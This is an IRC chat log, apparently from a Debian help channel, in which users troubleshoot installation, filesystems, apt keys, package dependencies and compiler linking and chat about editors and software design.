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| 10:12.00 | qwerty999 | BambiX: ctrl-backspace after the install enters x mode? because i tried that and it does not work. |
| 10:12.05 | BambiX | maki the net cd is just enough to boot and do a very minimal install it usually downloads everything it needs from an online source |
| 10:12.22 | BambiX | after the install enters x mode? oh dear |
| 10:12.36 | BambiX | i had it happen after the install |
| 10:12.45 | wols | qwerty999: is there even a X on the netinst installer? I never saw X there |
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| 10:13.26 | BambiX | qwerty ctrl-alt-backspace ? |
| 10:13.27 | qwerty999 | :) ok ok... i'm sorry. it was a nickname this "x mode". i was reffering to the unsuported fb mode. |
| 10:13.27 | wols | maki_: that's the point of netinst, to isntall only stuff you need |
| 10:13.38 | maki_ | ок |
| 10:13.40 | wols | maki_: you can of course download all 23 CD images if you want... |
| 10:13.42 | maki_ | thanks |
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| 10:14.16 | BambiX | qwerty, sorry mate I don;'t know |
| 10:14.24 | wols | qwerty999: can you hand ovr parameters to the kernel bootng from CD? if so, ztry vga=791 |
| 10:14.48 | qwerty999 | BambiX: ok, thank tou for your time anyway! |
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| 10:14.52 | qwerty999 | wols: ok, let me try. |
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| 10:15.00 | BambiX | qwrty np |
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| 10:16.00 | wols | qwerty999: or better yet, try "nofb" |
| 10:16.02 | qwerty999 | wols: thank you dude! you saved me! |
| 10:16.21 | qwerty999 | wols: vga=791 works for the install kernel. ;) thanks! |
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| 10:17.50 | spheard | http://sparc.moonet.co.uk/php.php |
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| 10:19.14 | osrc_server_expe | Hi all |
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| 10:19.26 | osrc_server_expe | I am trying to build CPAN module Event on debain etch |
| 10:19.35 | thor_ | hi! is it possible to mount ext2 partition with kernel that supports ext3 only, in read only mode? |
| 10:19.42 | osrc_server_expe | but get these kind of errors /usr/lib/perl/5.8/CORE/perl.h:420:24: error: sys/types.h: No such file or directory |
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| 10:20.32 | wols | thor_: why would a kernel only support ext3 and not ext2. that doesn't make sense |
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| 10:21.05 | wols | !tell osrc_server_expe about b-e |
| 10:21.20 | thor_ | wols: well, there are different options in kernel config to turn on support for ext2 and ext3.. |
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| 10:21.46 | geo-rge | wats this key: B5D0C804ADB11277 ? |
| 10:21.56 | Decepticon | meow |
| 10:22.06 | thor_ | osrc_server_expe: install libc6-dev package |
| 10:22.12 | wols | geo-rge: next years HD-DVD key. don't keep it or the MPAA will sue you |
| 10:22.29 | geo-rge | I don't even have it yet :P |
| 10:22.38 | osrc_server_expe | thor_: k thanx let me try that |
| 10:23.06 | wols | osrc_server_expe: better install b-e instead as dpkg told you |
| 10:23.25 | osrc_server_expe | wols: doing that that already |
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| 10:24.02 | wols | thor_: you know what ext3 is? it's ext2 plus a journal |
| 10:24.06 | geo-rge | osrc_server_expe: build-essential will give you everything you need to at least compile recent kernels (and also hellow werld programs) |
| 10:24.09 | wols | you can mount any ext3 volume as ext2 |
| 10:25.06 | osrc_server_expe | geo-rge: thanx man. doesent debain install these utils be default? |
| 10:25.27 | wols | why would it? |
| 10:25.27 | geo-rge | no (and can you come up with a reason why?) |
| 10:25.37 | thor_ | wols: yes, i know that ext3 is just ext2 with journal. the problem is: i have a machine that supports ext3 only.. but i have ext2 partition. i'm wondering, can i mount ext2 read-only with that kernel, to add journal.. i just don't have access to the machine right now, so i wanted to ask if such a thing will work.. |
| 10:25.41 | geo-rge | that is: "why no"? |
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| 10:26.23 | wols | thor_: it does not make sense. to be able to mount ext3 it needs to be able to mount ext2 too since the code for ext2 must already be int he kernel... |
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| 10:26.45 | wols | you can always generate a ext3 jorunal for a ext2 volume after the fact |
| 10:27.00 | thor_ | wols: ok, i understand your answer as "ext3-capable kernel CAN mount ext2 volumes :) |
| 10:27.20 | wols | man tune2fs |
| 10:27.41 | geo-rge | it's because "ext3 driver will always include also ext2 driver" (well, hopefully) |
| 10:27.48 | osrc_server_expe | geo-rge: y would perl (CPAN) modules need all this? |
| 10:28.08 | wols | cause you need to compile them to use them? |
| 10:28.17 | fengor | osrc_server_expe: some perl modules use c code which needs to be compiled iirc |
| 10:28.18 | wols | osrc_server_expe: you haven#t answered the question |
| 10:28.26 | thor_ | geo-rge: i agree, but who knows.. :) |
| 10:28.28 | geo-rge | osrc_server_expe: in order to build them (many CPAN modules are written in C and therefore need C tools to build them) |
| 10:28.48 | geo-rge | thor_: true. they could have just factored out a common module |
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| 10:30.09 | geo-rge | by the way, osrc_server_expe... (1) many cpan modules are available with apt-get... and (2) those that are not can be built into debian packages which you can then install |
| 10:30.33 | osrc_server_expe | all clear. thanx for the help guys |
| 10:30.49 | osrc_server_expe | acutally i m installing prereqs for koha |
| 10:30.53 | fengor | geo-rge: is there a factoid about that? or something like make=kpkg? |
| 10:31.20 | thor_ | geo-rge: but different config options made me doubt. if enabling ext3 support would forcefully enable config option for ext2, it would be clear. |
| 10:31.30 | wols | dh-make-perl |
| 10:31.31 | geo-rge | that's like the soft-spoken statement the Eloi made to the time machine guy (in deadpan, quietly): "It is all clear" |
| 10:31.39 | fengor | thanks wols |
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| 10:32.20 | jelly-home | wols: um, EXT3_FS doesn't depend on EXT2_FS, so a kernel can technically be made to support ext3 but not ext2 :-) |
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| 10:32.53 | geo-rge | what happens then? is the common code factored? or what? |
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| 10:33.09 | geo-rge | or is it -gasp- just cutnpasted? |
| 10:33.25 | jelly-home | geo-rge: utsl? |
| 10:33.45 | geo-rge | never seen that reference |
| 10:34.56 | jelly-home | use the source, Luke |
| 10:35.06 | wols | geo-rge: ext3 is a superset of ext2. all of ext2 is "common code" |
| 10:35.09 | geo-rge | I'm not -that- curious :P |
| 10:35.48 | geo-rge | wols: then it would make sense to force the ext2 module to be built |
| 10:36.14 | jelly-home | wols: but little source is actually used in both... the files are duplicated in fs/ext[23]/ |
| 10:36.25 | jelly-home | so it's cut'n'paste |
| 10:36.34 | geo-rge | ahh. that is quite stupid of course |
| 10:36.58 | jelly-home | geo-rge: says the man who is not curious enough to actually take a look? |
| 10:36.58 | geo-rge | why the heck did they do that? :) |
| 10:37.32 | wols | jelly-home: he's right, it is stupid from what we know |
| 10:37.35 | jelly-home | that's a question for ext3-devel list |
| 10:37.38 | wols | there must be a reason for this |
| 10:38.16 | geo-rge | it wouldn't be so stupid if they duplicated by copying from one source (a sort of "generator") |
| 10:38.40 | jelly-home | frankly I don't care, been happy with ext3 since v0.0.5d or something like that :-) |
| 10:38.56 | geo-rge | but if they don't do that, they have two (supposedly) identical code bases that could become different |
| 10:39.57 | jelly-home | in any case it's not a debian specific issue |
| 10:40.39 | wols | geo-rge: one reason would be optimizations |
| 10:40.39 | geo-rge | ahh, this is where you choose what to talk about |
| 10:41.08 | geo-rge | wols: but isn't what's good for one also good for the other? |
| 10:41.20 | tarzeau | geo-rge: no |
| 10:41.27 | geo-rge | why? |
| 10:41.28 | wols | not always. ext2 and ext3 are different |
| 10:41.31 | tarzeau | geo-rge: that's why we have 10 web browsers |
| 10:41.43 | tarzeau | geo-rge: and i hate firefox (or any mozilla software) |
| 10:41.45 | geo-rge | has nothing to do with web anything :P |
| 10:42.04 | jelly-home | web browsers don't have on-disk compatibility, though ;-) |
| 10:42.17 | wols | geo-rge: but it has to do with the fact that we have 10 browsers doing essentially the same thing. or 1000 editors also doing the same |
| 10:42.18 | tarzeau | but i don't want journaling on some systems |
| 10:42.32 | wols | but we still have 1000 and not only one (vi of course...) |
| 10:42.37 | jelly-home | joe! |
| 10:42.38 | tarzeau | wols: emacs! |
| 10:42.44 | fengor | vim |
| 10:42.50 | jelly-home | k, point is made |
| 10:42.51 | geo-rge | vigor |
| 10:44.04 | jelly-home | tarzeau: you actually use emacs? |
| 10:44.04 | tarzeau | jelly-home: yes |
| 10:44.04 | tarzeau | jelly-home: emacs -nw and Emacs.app |
| 10:44.04 | geo-rge | but it doesn't apply without pounding it into a square hole |
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| 10:44.04 | wols | jelly-home: you knew he was crazy all along |
| 10:44.04 | jelly-home | wols: not THAT crazy |
| 10:44.05 | tarzeau | jelly-home: http://io.debian.net/~tar/screenshots/emacs.app.png |
| 10:44.05 | tarzeau | who is crazy? |
| 10:44.10 | wols | tarzeau: why aren't you a follower of the cult of teh Steve? |
| 10:44.29 | tarzeau | wols: what's that? |
| 10:44.49 | wols | an apple fanboi. with pony tail and all |
| 10:45.00 | tarzeau | wols: i'm a NeXT fan |
| 10:45.17 | tarzeau | wols: apple has that crappy half, called non-cocoa (carbon, mac os, hfs) |
| 10:45.21 | wols | OSX was ehat is left over from NeXT |
| 10:45.21 | geo-rge | tarzeau: but the point is there may be a duplication of code between ext2 and ext3 which should not be duplicated, it should be factored |
| 10:45.39 | tarzeau | wols: only part of it. i still prefer OPENSTEP 4.2 over mac os x |
| 10:45.52 | tarzeau | geo-rge: go ahead, i won't stop you. and yes, i agree :) |
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| 10:46.09 | sn0 | <simonrvn> sn0: do you have anything to do with 'sng'? <- dont know what you mean sorry |
| 10:46.19 | tarzeau | did i say i hate requesttracker? |
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| 10:47.07 | geo-rge | so, about the key: B5D0C804ADB11277 , where do I find out what it is for and how to get it? |
| 10:48.11 | lwilke | hi, i have a debian 3.1 box here with xen 3.0 and kernel 2.6.17 how do i resize the ram online? I know of xm mem-set but i cannot find the balloon driver in the guest!? |
| 10:48.26 | geo-rge | tarzeau: the thing is it shouldn't prevent you from running ext2, in fact, it should cause ext2 to improve somewhat while they work on the common code |
| 10:49.15 | tarzeau | geo-rge: but why do you tell all this here? debian are not software developers, they just take what's there, and package it (more or less) |
| 10:49.24 | tarzeau | geo-rge: did you talk this with the developers of ext2 and 3? |
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| 10:50.29 | geo-rge | no, someone started talking about it here |
| 10:51.08 | geo-rge | so we flushed out the possibilities, and someone said it's duplicated, I think it was jelly-home who said so |
| 10:51.49 | geo-rge | what I meant to say when I said "that's stupid" is "if they did that, that |
| 10:51.54 | geo-rge | is stupid" |
| 10:53.28 | gordboy | geo-rge, http://wiki.debian.org/SecureApt also http://groups.google.com/group/alt.os.linux.debian/msg/ab23af04e52061fa |
| 10:55.21 | geo-rge | gordboy: will this get me the key: gpg --keyserver wwwkeys.eu.pgp.net --recv-keys B5D0C804ADB11277 |
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| 10:56.09 | tarzeau | RichiH: so how's your packaging going? |
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| 10:57.18 | gordboy | geo-rge, i don't see why not. have a look at the second post for the remainder of the procedure |
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| 10:58.09 | z0rg | hi, how to install wine (0.9.38) in x86_64(amd64) etch? |
| 10:58.16 | geo-rge | gordboy: ahh, you have to export the key to a file and tell apt to scoop it up |
| 10:58.24 | unlink | how do i distinguish between a system under high load and a crashed system (that i cannot log into) |
| 10:58.27 | geo-rge | which I did, it worked\ |
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| 10:58.32 | tarzeau | z0rg: apt-get install wine ? |
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| 10:58.39 | tarzeau | !simple sid backport |
| 10:58.39 | dpkg | First: See if the package has already been backported. Ask me about <backports>. If it hasn't, 1) Add a deb-src line for sid to your sources.list. 2) apt-get update 3) apt-get build-dep packagename;apt-get -b source packagename; 4) install the resulting debs, or pay someone to do it properly. |
| 10:58.51 | gordboy | geo-rge, good man |
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| 10:59.08 | geo-rge | unlink: the system under high load is no taller than the load... the crashed system is probably much shorter |
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| 10:59.20 | unlink | geo-rge: ? |
| 10:59.26 | Trewas | geo-rge: ext2 and ext3 (and now ext4) drivers are separate in kernel, so there is lots of duplicated code... that's for a good reason though, they did not want to break ext2 by accident while creating ext3 |
| 10:59.28 | ApEtc | unlink: ping might help if you have it on. |
| 10:59.45 | jelly-home | geo-rge: btw, it's only stupid if their workflow doesn't support fixes being made to both drivers (and possibly ext4) simultaneously |
| 10:59.54 | unlink | ApEtc: yes, ping works |
| 11:00.07 | petemc | unlink: you should eventually get a login prompt with the high load system |
| 11:00.09 | unlink | ApEtc: but it could be completely nuked except the networking stack *shrug* |
| 11:00.28 | jelly-home | geo-rge: basically, I don't think you have enough data to make that assessment |
| 11:00.36 | unlink | petemc: it could be under such high load that it would time out |
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| 11:01.07 | unlink | petemc: (headless, no console) |
| 11:01.07 | petemc | unlink: this is true, in which case, if no services are responding, there would be effectively no difference |
| 11:01.21 | z0rg | tarzeau: thanks |
| 11:01.29 | unlink | petemc: right, i'm just trying to decide whether to wait it out |
| 11:01.42 | tarzeau | any of you has apt-get system without root permission? |
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| 11:02.02 | geo-rge | tarzeau: of what use is that? |
| 11:02.22 | tarzeau | geo-rge: people can install software with apt-get without be root, i made a cool script: http://www.linuks.mine.nu/uapt/uapt-get |
| 11:02.30 | geo-rge | jelly-home: now I -know- you're trying to trool me :P |
| 11:02.32 | tarzeau | geo-rge: i have account on system with broken sources.list, and no root rights |
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| 11:03.17 | geo-rge | tarzeau: on the other hand it might be nice if debian packages were made to do that really |
| 11:03.25 | tarzeau | geo-rge: full ack! |
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| 11:04.33 | jelly-home | geo-rge: ah, so the feeling's mutual :-) |
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| 11:05.32 | tarzeau | any of you use debarchiver? how do you create Sources and Packages files? |
| 11:06.01 | geo-rge | tarzeau: look at it this way... most if not all of the source code from which debian developers ^W packagers get programs, were designed to be installed in places that plain users could write to (like their home dir) |
| 11:06.36 | tarzeau | geo-rge: not really |
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| 11:06.50 | geo-rge | therefore it was the intent of the producers of those sources that programs could be installed by people with other than root privileges |
| 11:07.06 | tarzeau | geo-rge: there is really all sort of software. and those developped on mac os x and/or windows have different ways to deal writing/reading config stuff and install targets |
| 11:07.12 | geo-rge | tarzeau: really. what is --prefix for? |
| 11:07.19 | tarzeau | geo-rge: some packages are heavily patched to get to work on debian |
| 11:07.31 | tarzeau | geo-rge: yes really. and --prefix is sometimes broken, or doesn't exist at all |
| 11:07.40 | tarzeau | geo-rge: there's even software without makefiles or buildsystem files at all |
| 11:07.46 | tarzeau | geo-rge: yes really. poor, but fact |
| 11:08.11 | tarzeau | geo-rge: i speak with experience -- http://qa.debian.org/developer.php?login=gurkan@linuks.mine.nu |
| 11:08.32 | geo-rge | true, it's broken, for example, on software that doesn't use auto* well |
| 11:08.46 | tarzeau | geo-rge: yes, and many sofwtare don't use auto* at all |
| 11:09.25 | geo-rge | so they need some other way to be portable to all those systems portable from sources that do |
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| 11:09.52 | tarzeau | geo-rge: yes and no |
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| 11:10.09 | tarzeau | geo-rge: some people write software as in, you just unpack it into a dir (user dir, or system), and run it. |
| 11:10.15 | geo-rge | (and just because something's broken doesn't mean the person who wrote it didn't intend to share) |
| 11:10.18 | tarzeau | geo-rge: that's the NeXT way, that dos, windows and mac os x also have |
| 11:10.44 | tarzeau | geo-rge: it's only broken by your definition |
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| 11:10.49 | geo-rge | tarzeau: but wouldn't that be closed source? |
| 11:10.52 | tarzeau | geo-rge: who said the unix way of distribution files all over the filesystem is the right (tm)? |
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| 11:10.57 | geo-rge | I'm not talking about any of that |
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| 11:11.00 | tarzeau | geo-rge: no, many free software like that exist |
| 11:11.12 | Crypticfortune | ack, i updated the libalsa stuff, and it broke.... |
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| 11:11.24 | roland_ | can i use my router as a simple swich if i have ports 1 and 2 ocuppied and i put the 3rd pc on WAN port ? but i operate it in NAT off mode |
| 11:11.24 | tarzeau | geo-rge: yes you do, you assume binaries must go into /usr/bin and data files somewhere else etc |
| 11:11.42 | geo-rge | Crypticfortune: probably now you have to upgrade the remainder of your alsa system (which could include your kernel)( |
| 11:11.48 | tarzeau | geo-rge: do you know some very old bsd systems had binaries in /etc ? |
| 11:12.06 | Crypticfortune | trying to play stuff with (for example, alsaplayer) i get errors like: ALSA lib pcm_direct.c:1479: (_snd_pcm_direct_get_slave_ipc_offset) Invalid value for card |
| 11:12.16 | x_link | Hi |
| 11:12.27 | x_link | Before I could fix my time with "tzconfig" |
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| 11:12.32 | wols | roland_: no. but this is OT here |
| 11:12.39 | x_link | Now when I run sudo tzconfig it tells me that there is no such command. |
| 11:12.44 | x_link | Is it not called "tzconfig" ? |
| 11:13.05 | geo-rge | tarzeau: first, you don't know what I assume :) but I'm willing to gloss over that :) |
| 11:13.13 | Halleck | Am I the only person getting dependency errors when I try to install php5 for apache? |
| 11:13.24 | wols | x_link: dpkg-reconfigure tzdata |
| 11:13.45 | Halleck | On etch- stable, that is. |
| 11:13.50 | geo-rge | Halleck: you'll need to talk to more persons for that... only cows and chickens here... |
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| 11:14.22 | Crypticfortune | geo-rge: well, there were no kernel dependencies in the update, so my kernel hasn't changed. (and im running the latest 2.6.18-4-xen-amd64 so if i need to update beyond that, im in big trouble) |
| 11:14.27 | x_link | wols: Okej |
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| 11:14.45 | wols | Halleck: /msg dpkg bat |
| 11:14.52 | tarzeau | geo-rge: whatever :) |
| 11:14.54 | x_link | wols: sedde@sedde:~$ dpkg-reconfigure tzdata |
| 11:14.55 | x_link | bash: dpkg-reconfigure: command not found |
| 11:15.08 | x_link | This is really odd. |
| 11:15.20 | wols | x_link: lenny or sid? |
| 11:15.36 | geo-rge | Crypticfortune: btw, why are you trying to upgrade your libs? are you aware that since you might have binaries linked to that lib, replacing the lib might break all those bins? |
| 11:15.49 | Halleck | wols: thanks, will paste |
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| 11:16.09 | x_link | wols: Lenny |
| 11:16.18 | wols | x_link: you are unfit for lenny (or sid) |
| 11:16.28 | x_link | Okej. |
| 11:16.42 | LLcoolM_ | how do i link a program against a lib with a gcc command` |
| 11:16.46 | LLcoolM_ | is -L right? |
| 11:16.48 | geo-rge | tarzeau: in fact I'm not assuming that if you noticed from before I said something about --prefix allowing bins to be built and installed in places like people's home dir |
| 11:16.55 | wols | LLcoolM_: no. it's -l |
| 11:17.01 | LLcoolM_ | ah |
| 11:17.02 | LLcoolM_ | thx |
| 11:17.13 | wols | -L means library directory |
| 11:17.36 | geo-rge | "look for libs in the following dir (among others)" |
| 11:17.39 | Crypticfortune | geo-rge: just part of my weekly "aptitude upgrade" routine...and yes, i am aware of that... |
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| 11:17.53 | tarzeau | geo-rge: were'nt we talking about having it built once, installable anywhere? |
| 11:18.11 | tarzeau | geo-rge: because debian doesn't want to make twice the amount of binary packges it already does, one for system , one for user |
| 11:18.15 | geo-rge | tarzeau: oh, right, I think we were |
| 11:18.29 | tarzeau | geo-rge: and if the user must recompile software just to install it somewhere else, that's not the right thing |
| 11:18.33 | tarzeau | geo-rge: :) |
| 11:18.36 | geo-rge | but getting back to that, how might it be possible? |
| 11:18.49 | tarzeau | geo-rge: it is possible, look how NeXT did it, how mac os x does it today |
| 11:18.53 | tarzeau | geo-rge: and how GNUstep does it |
| 11:18.55 | geo-rge | tarzeau: at this point, it's his/her only choice |
| 11:19.22 | tarzeau | geo-rge: and simple software without libraries.. you can put the binary anywhere (and if it doesn't have to read data files at some specific place) , it just works |
| 11:19.28 | geo-rge | "HEY! look at this executable!" "that's not an executable,,, it's a directory!" |
| 11:19.35 | tarzeau | geo-rge: checked out my user-apt-get ? |
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| 11:19.44 | LLcoolM_ | wols it says it cannot find -l/usr/lib/libxml2.so.2.6.27 |
| 11:19.44 | LLcoolM_ | collect2: ld returned 1 exit status |
| 11:19.47 | tarzeau | geo-rge: only for os x,next and gnustep... there's others |
| 11:19.53 | geo-rge | yes I'm a little aware of gnu/next step :) |
| 11:19.54 | LLcoolM_ | but the file is there |
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| 11:20.02 | tarzeau | geo-rge: look at /usr/bin/ls for example. you can put it anywhere and it'll work |
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| 11:20.13 | wols | LLcoolM_: but your option is wrong. and its OT in here. ask ##c |
| 11:20.29 | geo-rge | LLcoolM_: it should find libs in /usr/lib already |
| 11:20.39 | geo-rge | you should try -lm |
| 11:21.06 | wols | geo-rge: what has a math lib to do with libxml2? |
| 11:21.18 | geo-rge | oh, oops ;) |
| 11:21.19 | LLcoolM_ | wols: ah, that worked |
| 11:21.22 | geo-rge | you should try -lxml2 |
| 11:22.59 | geo-rge | tarzeau: one big problem is bins that depend on libs... where you going to put the lib so that the user can use and also write to? |
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| 11:23.19 | Halleck | http://paste.debian.net/30185 |
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| 11:25.23 | wols | <PROTECTED> |
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| 11:25.55 | Halleck | oh yeah... I think i'm missing util-linux for some reason |
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| 11:26.17 | wols | why? |
| 11:26.37 | Halleck | I have no idea, I did a clean install of etch from netinstall cd |
| 11:26.39 | geo-rge | Halleck: maybe you've been upgrading your debian and somehow it turned up missing? |
| 11:26.49 | geo-rge | ahh, hmm, that shouldn't happen |
| 11:27.01 | Halleck | I tried to install it earlier but gave up due to dependency issues |
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| 11:27.31 | wols | Halleck: util-linux is NOT optional: do the same thing for util-linux now |
| 11:27.32 | geo-rge | dependency issues? you mean after trying to get the php thing? |
| 11:27.55 | geo-rge | util-linux is probably in the base |
| 11:28.04 | Halleck | no way before when I was trying to set up getty, I realized util-linux was not installed. here |
| 11:28.14 | Halleck | Desired=Unknown/Install/Remove/Purge/Hold |
| 11:28.14 | Halleck | | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed |
| 11:28.14 | Halleck | |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) |
| 11:28.14 | Halleck | ||/ Name Version Description |
| 11:28.14 | Halleck | +++-==============-==============-============================================ |
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| 11:28.23 | wols | geo-rge: it is |
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| 11:28.31 | geo-rge | just the last line :P |
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| 11:28.41 | tarzeau | geo-rge: checked my script already? |
| 11:28.41 | Halleck | oops, haha. thought that would be short enough to paste |
| 11:28.53 | xand | Halleck: one line only |
| 11:28.59 | geo-rge | mine is... ii util-linux 2.12r-15 Miscellaneous system utilities |
| 11:29.01 | tarzeau | geo-rge: for libs you can use LD_LIBRARY_PATH |
| 11:29.32 | geo-rge | tarzeau: true.. then there's the question of where to put them |
| 11:29.45 | tarzeau | geo-rge: where the user can write to? $HOME ? |
| 11:29.45 | Halleck | http://paste.debian.net/30187 |
| 11:30.15 | wols | Halleck: how did you remove util-linux? |
| 11:30.19 | geo-rge | it was removed?! |
| 11:30.21 | tarzeau | geo-rge: uapt just uses a different ROOT dir, mac, next, gnustep just use ~/Applications and ~/Library |
| 11:30.37 | wols | geo-rge: "rc" is a strong clue to that... |
| 11:30.45 | Halleck | I really have no idea, I wasn't doing anything crazy to my knowledge |
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| 11:30.54 | geo-rge | that's what I just read to figure that out :P |
| 11:31.00 | wols | Halleck: it was. it won't remove it until you expressly say so |
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| 11:31.15 | wols | Halleck: so reinstall it |
| 11:31.18 | Halleck | well I think I tried to install it because it wasn't present |
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| 11:31.31 | geo-rge | and you also have to tell it to ignore deps and other wild stuff like that... |
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| 11:31.36 | wols | it is present from the start. and it says "r". that means you removed it. |
| 11:31.39 | Halleck | okay I'll try.. expect some apt garbage in the pastebin soon |
| 11:31.49 | geo-rge | sonething that's less than recommended most of the time :) |
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| 11:32.41 | wols | that's what happen when you try to remove it: http://paste.debian.net/30188 |
| 11:32.45 | Crypticfortune | geo-rge: wow. re: "upgrading your kernel", i swear i didn't change my kernel, but rebooting actually fixed my alsa issues. any other possible explaination? (i did try running alsaconf before restarting, which should have unloaded/reloaded the associated kernel modules, right?) |
| 11:33.20 | geo-rge | Halleck: so probably you want to do "apt-get install util-linux" to start with |
| 11:33.29 | abrotman | jim! |
| 11:33.45 | Halleck | yeah... oh right, I was trying to install fuse and ntfs-3g so I could write to my NTFS partition |
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| 11:34.02 | qiyong | anyone konw how to use maildir with mutt in command line? |
| 11:34.05 | geo-rge | Crypticfortune: hmmm... modules didn't get inserted properly or something? |
| 11:34.08 | Halleck | that might have been what borked it although I never remember forcing apt to uninstall that package.. madness |
| 11:34.20 | geo-rge | abrotman: stop dat :P |
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| 11:34.46 | geo-rge | you're getting faster... |
| 11:34.51 | abrotman | do you still highlight on it? |
| 11:35.05 | geo-rge | nope |
| 11:35.17 | abrotman | ah ok |
| 11:35.21 | Ariel_Calzada | /ame Hi all :-) |
| 11:35.34 | qiyong | !maildir |
| 11:35.34 | dpkg | a one-message-per-file mailbox format used by qmail and supported by mutt; see http://www.qmail.org/man/man5/maildir.html or k-rad, or runs you out of inodes when you have more than 60,000 mails, or Linux doesn't have 16-bit inode numbers, duh DJB's one good idea. supported by postfix, exim etc. and several final delivery / filtering programs such as maildrop and procmail as well as imap servers including courier-imap, dovecot or cyrus. |
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| 11:36.26 | Ariel_Calzada | /ams Hi |
| 11:36.47 | Halleck | ugh... I think I was installing ntfs-3g from the unstable repository since it didn't exist in stable... what a mess I've made |
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| 11:37.04 | geo-rge | Ariel_Calzada: we're about http://www.debian.org |
| 11:37.31 | geo-rge | err, correction, -they're- about that :) |
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| 11:38.15 | geo-rge | umm is there a problem here? :) |
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| 11:42.44 | geo-rge | about pgp keys... does it make sense to allow only certain keys exportable from gpg to be apt keys? |
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| 11:43.14 | wols | since when does cyrus use maildir? |
| 11:43.25 | abrotman | wols: maildir-ish |
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| 11:43.45 | wols | cyrus uses a DB. it's as far from maildir as you can be |
| 11:43.45 | abrotman | in the loosest sense .. it is maildir |
| 11:43.53 | abrotman | wols: it's still an email per file |
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| 11:44.29 | geo-rge | what I'm not understanding presently is why does apt have a key add command as opposed to having apt just read the existing keys directly from gpg |
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| 11:45.20 | abrotman | it does other magic you cannot see? |
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| 11:46.03 | geo-rge | that's what I'm asking... does it? |
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| 11:46.58 | triplc | How to see the USB drive again? I am using Etch with XFCE as desktop environment on a laptop computer. I used to automatically display a USB drive on the desktop when that USB is plugged. But now, it no longer do that. After plugging-in the USB drive, I even do not see drive using commands, like "ls -lR /dev/disk/", "ls /dev/sd*/". I think I have accidentally remove a package that automatically create that device file in /dev folder. How can I check and g |
| 11:46.58 | triplc | et it back and work? |
| 11:47.20 | lvh | triplc: two sentences plz, its falling off |
| 11:47.25 | lvh | triplc: dmesg |
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| 11:47.35 | lvh | triplc: and see if it's connected |
| 11:47.54 | triplc | (ok 2 sentences) How to see the USB drive again? I am using Etch with XFCE as desktop environment on a laptop computer. I used to automatically display a USB drive on the desktop when that USB is plugged. But now, it no longer do that. After plugging-in the USB drive, I even do not see drive using commands, like "ls -lR /dev/disk/", "ls /dev/sd*/". I think I have accidentally remove a package that automatically create that device file in /dev folder. |
| 11:47.59 | triplc | How can I check and get it back and work? |
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| 11:49.24 | triplc | oh my, "dmesg" display so many stuff ! |
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| 11:49.49 | quitte | try lsusb |
| 11:50.55 | geo-rge | I mean, look at the history... gnome and kde come in, then people start wanting to have a graphic interface to their ppp connection, and there it starts... |
| 11:51.50 | petemc | what a load of shite |
| 11:51.58 | geo-rge | right. |
| 11:52.01 | quitte | they do? I hardly know anyone that isn't connected 24/7 through a router anymore |
| 11:53.06 | abrotman | no one uses routers anymore? |
| 11:53.22 | geo-rge | there were more and more gui things controlling increasingly broad groups of shared resources... so then what problem does that produce? some desktop env that doesn't provide all that suddenly breaks their system and they go "help" |
| 11:53.24 | abrotman | quitte: people still use dialup |
| 11:53.39 | abrotman | quitte: actually .. about two months ago .. i was on dialup again for a week or so |
| 11:53.44 | petemc | different people use different things, last time i checked |
| 11:53.48 | quitte | abrotman: pots dialup? or cell phone? |
| 11:53.59 | abrotman | POTS |
| 11:54.01 | geo-rge | that's a long time to tie up a phone line! |
| 11:54.14 | abrotman | geo-rge: what .. like anyone calls me ... |
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| 11:55.41 | geo-rge | etch is 4.0 right? |
| 11:56.09 | quitte | i'd love to see nics being devices in /dev,too. that'd solve a big part of the problem with user privileges for setting up dialup or other network connections |
| 11:56.16 | abrotman | geo-rge: yes |
| 11:56.32 | abrotman | quitte: dialup isn't a problem |
| 11:56.34 | geo-rge | what's the latest 4.0Rthis? |
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| 11:56.47 | maacheahmed | Hi how to change the keyboard from us qwerty to fr azerty evry reboot (i used setxkbmap fr in .Xsession but no changes afterrebooting) |
| 11:56.56 | abrotman | !keymap |
| 11:56.56 | dpkg | To change your console keymap, run "dpkg-reconfigure console-data". To change your X keymap, read "man xmodmap" or ask me about "set up x". if you have X check into xkeycaps and xev, or also ask me about drxx, or in console you can also use loadkeys (for once) |
| 11:57.03 | abrotman | geo-rge: still r0 |
| 11:57.27 | quitte | abrotman: i'm not very happy with pppd being setuid root |
| 11:57.34 | geo-rge | ok, so I'm now upgrading to current stable from not-so-stable :) |
| 11:58.17 | abrotman | quitte: sorry to hear that .. guess we'll see your patch soon ... |
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| 11:58.17 | geo-rge | abrotman: what does that allow that's needed? |
| 11:58.42 | abrotman | whowhat? |
| 11:58.44 | Halleck | Ahhh... http://open.bambi.net/testphp.php :D |
| 11:58.53 | quitte | abrotman: i wish. but afaict even if i knew how to do it it'd involve changing most of the networking stack. |
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| 11:59.13 | metbsd | does anyone suggest a good anti-spam anti-virus solution? |
| 11:59.17 | geo-rge | abrotman: the setuid root on pppd |
| 11:59.26 | metbsd | either hardware and/or software solutions to anti-spam |
| 11:59.31 | geo-rge | metbsd: never use windows |
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| 11:59.55 | metbsd | can someone give me some suggestion |
| 12:00.00 | quitte | geo-rge: creating the ppp0 device and setting the defaultroute |
| 12:00.15 | metbsd | i need anti-spam for smtp server |
| 12:00.19 | abrotman | geo-rge: guess it has to run as root to change routes/dns etc .. |
| 12:00.32 | geo-rge | quitte: but if it's run as root anyway... |
| 12:00.48 | Halleck | So I installed util-linux from the unstable repository because I had installed tzdata from there and that was the root of my conflict, I believe. Now everything works at least and I don't have to downgrade libc6 etc.. |
| 12:00.50 | geo-rge | who else runs it? |
| 12:00.54 | quitte | geo-rge: it's not. a user in the dialout group can do it,too |
| 12:01.06 | Halleck | thanks for the help |
| 12:01.13 | jelly-home | is there a way to access partitions on a loopback block device? |
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| 12:01.31 | quitte | geo-rge: sorry, dip group |
| 12:02.19 | geo-rge | Halleck: ooooookkkkkk... umm :) be careful there... in so doing you're mixing stable and the raucous fast-moving where-the-action-is sid... |
| 12:03.09 | abrotman | quitte: then why are you complaining about SUID ? |
| 12:03.26 | geo-rge | does hal still hang the system after inserting audio cd (#423880)? |
| 12:03.31 | lvh | metbsd: spamassassin |
| 12:03.34 | lvh | metbsd: its gooood |
| 12:03.48 | Halleck | geo-rge: Yep, but it's the only way I can keep my read/write ntfs acess via fuse without compiling ntfs-3g from source- I think as long as I don't update any of this stuff I'll be okay. I hope. :) |
| 12:03.52 | lvh | metbsd: get clamav too while you're at it |
| 12:04.01 | metbsd | i mean hardware solution |
